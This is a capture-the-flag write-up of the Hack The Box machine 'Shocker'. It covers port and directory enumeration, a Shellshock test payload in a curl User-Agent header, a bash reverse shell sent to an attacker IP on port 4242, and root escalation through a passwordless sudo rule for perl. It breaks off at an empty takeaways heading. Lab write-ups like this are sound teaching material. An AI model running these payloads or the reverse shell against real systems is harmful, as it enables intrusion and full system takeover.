Shocker Writeup

10 September 2022 #CTF #HTB #box #easy #linux

shocker info

Enumeration

nmap is love, nmap is life:

$ sudo nmap -sC -sV -oN enum/intial.nmap 10.10.10.56
[...]
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
[...]

HTTP

There is not much we can do with ssh so let's start with the webserver:

don't bug me page

Nothing on this page, no cookie, no links, no nothing.

In this situation, directory bruteforcing seems the way to go:

$ gobuster dir -u http://10.10.10.56/ -f -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -o enum/root.gobuster
[...]
/cgi-bin/             (Status: 403) [Size: 294]
[...]

This webserver is quite picky with the trailing slash so specify the -f option to add a trailing slash at the end of every request.

There is a /cgi-bin/ directory (even though it's access is forbidden). Given the name of the box and the old Apache version, we can check if it is vulnerable to shellshock.

To do that we need to find a script inside this /cgi-bin/ directory:

$ gobuster dir -u http://10.10.10.56/cgi-bin/ -b 404,403 -x cgi,pl,php,sh -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -o enum/cgi-bin.cgi.pl.php.sh.gobuster
[...]
/user.sh              (Status: 200) [Size: 118]
[...]

We use the -x flag to specify the extensions we want as most cgi scripts have either a .cgi, .pl, .php or .sh extension.

And we have a hit! Let's test the vulnerability:

$ curl -A '() { :;}; echo; echo This is working' http://10.10.10.56/cgi-bin/user.sh
This is working

Content-Type: text/plain

Just an uptime test script

 14:36:18 up 32 min,  0 users,  load average: 0.05, 0.07, 0.02

We put our payload in the User-Agent header with -A.

And this is indeed working! The first echo is to make sure we don't write in the response headers but in the body of the response (if you don't you'll get a 500 error but the command is still executed).

Foothold

We can exploit shellshock so let's use a standard bash reverse shell:

curl -A '() { :;}; /bin/bash -i >& /dev/tcp/10.10.14.8/4242 0>&1' http://10.10.10.56/cgi-bin/user.sh

We need the absolute path for executables because I guess the PATH is not set in the context of the execution of the payload.

Privesc

As always, the first thing in my Linux privesc checklist is to check sudo rules:

shelly@Shocker:/usr/lib/cgi-bin$ sudo -l
Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl

It appears we can run the perl command as root without password.

We can execute perl code directly with the -e option:

shelly@Shocker:/usr/lib/cgi-bin$ sudo perl -e 'system("/bin/bash")'
root@Shocker:/usr/lib/cgi-bin# id
uid=0(root) gid=0(root) groups=0(root)

Pretty relaxing privesc.

Key Takeaways